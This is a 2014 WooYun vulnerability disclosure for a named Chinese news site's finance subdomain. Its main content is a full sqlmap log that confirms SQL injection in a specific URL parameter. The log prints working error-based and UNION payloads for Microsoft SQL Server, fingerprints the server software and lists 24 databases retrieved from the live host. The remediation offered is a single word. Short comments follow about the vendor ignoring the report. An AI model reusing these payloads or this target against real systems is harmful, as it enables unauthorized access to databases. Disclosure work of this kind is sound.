当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-060124

漏洞标题:青岛新闻网一处sql注入(跨了多个裤子,涉及多个分站)

相关厂商:qingdaonews.com

漏洞作者: Mosuan

提交时间:2014-05-10 09:59

修复时间:2014-05-15 10:00

公开时间:2014-05-15 10:00

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-10: 细节已通知厂商并且等待厂商处理中
2014-05-15: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

呵呵

详细说明:

注入地址

http://finance.qingdaonews.com/financewap/list.aspx?qx=0&fl=0


注入地址:http://finance.qingdaonews.com/financewap/list.aspx?qx=0&fl=0
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutua
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsi
le for any misuse or damage caused by this program
[*] starting at 00:32:15
[00:32:16] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\finance.qingdaonews.com\session' as session file
[00:32:16] [INFO] testing connection to the target url
[00:32:17] [INFO] heuristics detected web page charset 'GB2312'
[00:32:17] [INFO] testing if the url is stable, wait a few seconds
[00:32:19] [INFO] url is stable
[00:32:19] [INFO] testing if GET parameter 'qx' is dynamic
[00:32:20] [WARNING] GET parameter 'qx' appears to be not dynamic
[00:32:20] [WARNING] heuristic test shows that GET parameter 'qx' might not be
njectable
[00:32:20] [INFO] testing sql injection on GET parameter 'qx'
[00:32:20] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:32:22] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING claus
'
[00:32:23] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:32:26] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE
r HAVING clause'
[00:32:27] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XML
ype)'
[00:32:28] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:32:30] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[00:32:32] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:32:36] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:32:37] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[00:32:38] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[00:32:39] [INFO] testing 'Oracle AND time-based blind'
[00:32:40] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[00:33:04] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[00:33:04] [WARNING] using unescaped version of the test because of zero knowle
ge of the back-end DBMS. You can try to explicitly set it using the --dbms opti
n
[00:33:35] [WARNING] GET parameter 'qx' is not injectable
[00:33:35] [INFO] testing if GET parameter 'fl' is dynamic
[00:33:35] [INFO] confirming that GET parameter 'fl' is dynamic
[00:33:36] [INFO] GET parameter 'fl' is dynamic
[00:33:37] [INFO] heuristic test shows that GET parameter 'fl' might be injecta
le (possible DBMS: Microsoft SQL Server)
[00:33:37] [INFO] testing sql injection on GET parameter 'fl'
[00:33:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
parsed error message(s) showed that the back-end DBMS could be Microsoft SQL Se
ver. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[00:34:12] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE
r HAVING clause'
[00:34:13] [INFO] GET parameter 'fl' is 'Microsoft SQL Server/Sybase AND error-
ased - WHERE or HAVING clause' injectable
[00:34:13] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:34:18] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[00:34:23] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[00:34:30] [INFO] target url appears to be UNION injectable with 9 columns
[00:34:31] [WARNING] combined UNION/ERROR SQL injection case found on column 1.
sqlmap will try to find another column with better characteristics
[00:34:31] [WARNING] combined UNION/ERROR SQL injection case found on column 3.
sqlmap will try to find another column with better characteristics
[00:34:32] [WARNING] combined UNION/ERROR SQL injection case found on column 2.
sqlmap will try to find another column with better characteristics
[00:34:33] [INFO] GET parameter 'fl' is 'Generic UNION query (NULL) - 1 to 10 c
lumns' injectable
GET parameter 'fl' is vulnerable. Do you want to keep testing the others (if an
)? [y/N] y
sqlmap identified the following injection points with a total of 186 HTTP(s) re
uests:
---
Place: GET
Parameter: fl
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: qx=0&fl=0 AND 5964=CONVERT(INT,(CHAR(58)+CHAR(107)+CHAR(117)+CHAR(
14)+CHAR(58)+(SELECT (CASE WHEN (5964=5964) THEN CHAR(49) ELSE CHAR(48) END))+C
AR(58)+CHAR(113)+CHAR(109)+CHAR(101)+CHAR(58)))
Type: UNION query
Title: Generic UNION query (NULL) - 9 columns
Payload: qx=0&fl=0 UNION ALL SELECT NULL, CHAR(58)+CHAR(107)+CHAR(117)+CHAR
114)+CHAR(58)+CHAR(65)+CHAR(116)+CHAR(73)+CHAR(109)+CHAR(69)+CHAR(117)+CHAR(109
+CHAR(102)+CHAR(85)+CHAR(66)+CHAR(58)+CHAR(113)+CHAR(109)+CHAR(101)+CHAR(58), N
LL, NULL, NULL, NULL, NULL, NULL, NULL--
---
[00:34:58] [INFO] testing Microsoft SQL Server
[00:34:58] [INFO] confirming Microsoft SQL Server
[00:34:59] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[00:34:59] [INFO] fetching database names
[00:35:00] [INFO] the SQL query used returns 24 entries
[00:35:00] [INFO] retrieved: "AdventureWorks"
[00:35:01] [INFO] retrieved: "AdventureWorksDW"
[00:35:02] [INFO] retrieved: "ask"
[00:35:03] [INFO] retrieved: "bank"
[00:35:03] [INFO] retrieved: "baoxian"
[00:35:04] [INFO] retrieved: "fazhi"
[00:35:05] [INFO] retrieved: "finance"
[00:35:06] [INFO] retrieved: "huan"
[00:35:07] [INFO] retrieved: "huochepiao"
[00:35:07] [INFO] retrieved: "jiabin"
[00:35:08] [INFO] retrieved: "jiankang"
[00:35:08] [INFO] retrieved: "jiatingfang"
[00:35:08] [INFO] retrieved: "lady"
[00:35:08] [INFO] retrieved: "master"
[00:35:08] [INFO] retrieved: "minshengdb"
[00:35:09] [INFO] retrieved: "minshengdb1"
[00:35:09] [INFO] retrieved: "model"
[00:35:09] [INFO] retrieved: "msdb"
[00:35:09] [INFO] retrieved: "ReportServer"
[00:35:10] [INFO] retrieved: "ReportServerTempDB"
[00:35:10] [INFO] retrieved: "soku"
[00:35:10] [INFO] retrieved: "tempdb"
[00:35:10] [INFO] retrieved: "ticket"
[00:35:10] [INFO] retrieved: "web"
available databases [24]:
[*] AdventureWorks
[*] AdventureWorksDW
[*] ask
[*] bank
[*] baoxian
[*] fazhi
[*] finance
[*] huan
[*] huochepiao
[*] jiabin
[*] jiankang
[*] jiatingfang
[*] lady
[*] master
[*] minshengdb
[*] minshengdb1
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] soku
[*] tempdb
[*] ticket
[*] web
[00:35:10] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 209 times
[00:35:10] [INFO] Fetched data logged to text files under 'C:\Users\Administrat
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\finance.qingdaonews.com'
[*] shutting down at 00:35:10


漏洞证明:

详细说明 求礼物!!!!

修复方案:

过滤

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-05-15 10:00

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2014-05-18 15:24 | 橘子 ( 路人 | Rank:0 漏洞数:3 | 呢个...羞射高中生一枚。带上大神@Haswell...)

    又是一个忽略了不修复的..还是秒忽略QAQ

  2. 2014-05-19 12:15 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号,不装逼了,再见孩子们。by Mosua...)

    @橘子 他们可能没看到邮箱

  3. 2014-05-19 21:04 | 橘子 ( 路人 | Rank:0 漏洞数:3 | 呢个...羞射高中生一枚。带上大神@Haswell...)

    @Mosuan 显示错误?我看你59分提的他们59分就忽略了

  4. 2014-05-20 20:15 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号,不装逼了,再见孩子们。by Mosua...)

    @橘子 五天啊,厂商可能没注意看

  5. 2014-05-20 21:46 | 橘子 ( 路人 | Rank:0 漏洞数:3 | 呢个...羞射高中生一枚。带上大神@Haswell...)

    @Mosuan 危害等级:无影响厂商忽略忽略时间:2014-05-10 09:59好吧显示问题...

  6. 2014-05-20 21:54 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号,不装逼了,再见孩子们。by Mosua...)

    @橘子 wooyun的逻辑问题吧!不可能秒忽略的,应该是过了五天了他没确认